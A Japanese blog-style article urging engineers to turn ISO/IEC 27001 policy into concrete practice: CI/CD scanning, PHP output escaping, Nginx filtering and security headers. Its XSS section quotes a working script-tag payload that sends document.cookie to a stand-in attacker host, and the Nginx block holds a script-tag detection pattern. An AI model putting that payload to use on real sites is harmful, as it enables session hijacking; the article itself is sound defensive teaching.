ISO/IEC 27001は「お守り」じゃない。現場が息をするためのセキュリティ・ガバナンス論
現場のエンジニア諸君、お疲れ様。
「ISO/IEC 27001の認証を取るために方針書を書いてくれ」と上から降ってきて、げんなりした経験はないか？多くの現場では、この作業が「お役所仕事の書類作成」として処理され、結局誰も読まないPDFがサーバーの片隅に埋もれることになる。
だが、勘違いするな。セキュリティ基本方針とは、攻撃者が最も嫌がる「組織の戦い方」そのものだ。
今日は、ISO 27001の形式的な要件をクリアしつつ、我々エンジニアが「泥臭いインシデント」を未然に防ぐための、実戦的なセキュリティ・ガバナンスと実装の橋渡しについて話そう。
—
1. 「方針」を「ガードレール」に変換する
ISO 27001の基本方針は、経営層の署名があるだけの紙切れではない。インシデント発生時に「何を優先して守るか」を定義したエンジニアの羅針盤だ。
現場への落とし込みで失敗する最大の要因は、方針が抽象的すぎることにある。「安全な開発を行う」と書くのではなく、「公開される全てのWebアプリは、OWASP Top 10の脆弱性を排除するために、CI/CDパイプライン上でDAST/SASTの自動チェックを必須とする」とまで踏み込むべきだ。
これが「方針」として承認されていれば、忙しい開発現場でも「セキュリティチェックを飛ばす」という選択肢を物理的に排除できる。
—
2. 実務の盲点：入力バリデーションとリスク管理
さて、方針を策定したところで、現場ではどのような攻撃が待っているか。最も基本的なWebアプリの脆弱性である「クロスサイトスクリプティング（XSS）」を例に挙げよう。
攻撃者は、入力フォームに <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> のようなコードを忍ばせ、管理者のセッションを乗っ取ろうとする。これに対し、方針書には「入出力の適切なエスケープ」と書かれているだろうが、現場の実装はどうなっている？
【セキュアな実装例：PHPにおける対策】
エスケープ漏れはヒューマンエラーの温床だ。フレームワークの機能を使わずに生で書くような状況なら、最低限こう記述せよ。
<?php
// ユーザー入力を受け取る際は、必ずコンテキストに応じたエスケープを行う
// HTML出力用：htmlspecialchars (ENT_QUOTES | ENT_HTML5) を強制する
function secure_output($data) {
// UTF-8指定を忘れずに。文字コード攻撃を許すな
return htmlspecialchars($data, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// 使用例
$user_input = $_POST['username'];
echo "こんにちは、" . secure_output($user_input) . "さん";
?>—
3. インフラで防ぐ：WAFによる多層防御
開発側のコード修正には限界がある。だからこそ、ISO 27001が要求する「リスク評価」に基づき、インフラ側で防御層を設ける。Nginx等のWebサーバーレベルで、悪意あるリクエストを遮断する設定を「標準」とせよ。
【Nginx設定：WAF的アプローチ】
WAF（Web Application Firewall）を導入するのが理想だが、まずはNginxの設定で攻撃の兆候をブロックする防御策の一例だ。
# Nginx設定ファイルの一部
# クエリパラメータに怪しいタグが含まれていないかチェックするフィルタの簡易的な考え方
server {
# SQLインジェクションやXSSの典型的な文字列をブロック（あくまで補助的手段）
if ($query_string ~* "(<|%3C).*script.*(>|%3E)") {
return 403; # 攻撃的なリクエストは即座に遮断
}
# セキュリティヘッダーの強化（CSPの導入は必須）
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
}—
4. PDCAを回すための「自動化」という名の監視
ISO 27001の核心はPDCAサイクルだ。しかし、人間が手作業でログを確認してレビューしていては、現代のサイバー攻撃のスピードには勝てない。
リスクアセスメントのプロセスに「継続的な自動脆弱性診断」を組み込むこと。例えば、GitHub Actions等でビルドごとに脆弱性スキャンを走らせる設定だ。
現場のエンジニアへ送るアドバイス：
「セキュリティは面倒だ」という意識を捨てろ。「コードを書くプロセスの中に、自然とセキュリティが組み込まれている（Secure by Design）」状態を作ることこそが、本当の意味でのISO 27001対応であり、君たちの開発工数を最終的に減らす唯一の道だ。
方針書には、「セキュリティチェックが通らないコードはデプロイできない」という一文を誇りを持って書き込もう。それが、君たちの組織を守る最強の盾になる。
—
まとめ：
1. 基本方針は、現場のエンジニアが「何を守るべきか」を迷わないためのガードレールとして策定せよ。
2. 入出力処理は、言語依存の脆弱性を考慮したライブラリや関数に一元化せよ。
3. インフラ設定（CSPやヘッダー制御）を「標準構成」としてコード化せよ。
4. PDCAは、手作業のチェックリストではなく、CI/CDパイプライン上の自動テストで回せ。
セキュリティは、誰かの仕事ではない。君たちが書くコードの一行一行が、組織の防衛線そのものだということを忘れないでほしい。健闘を祈る。
コメント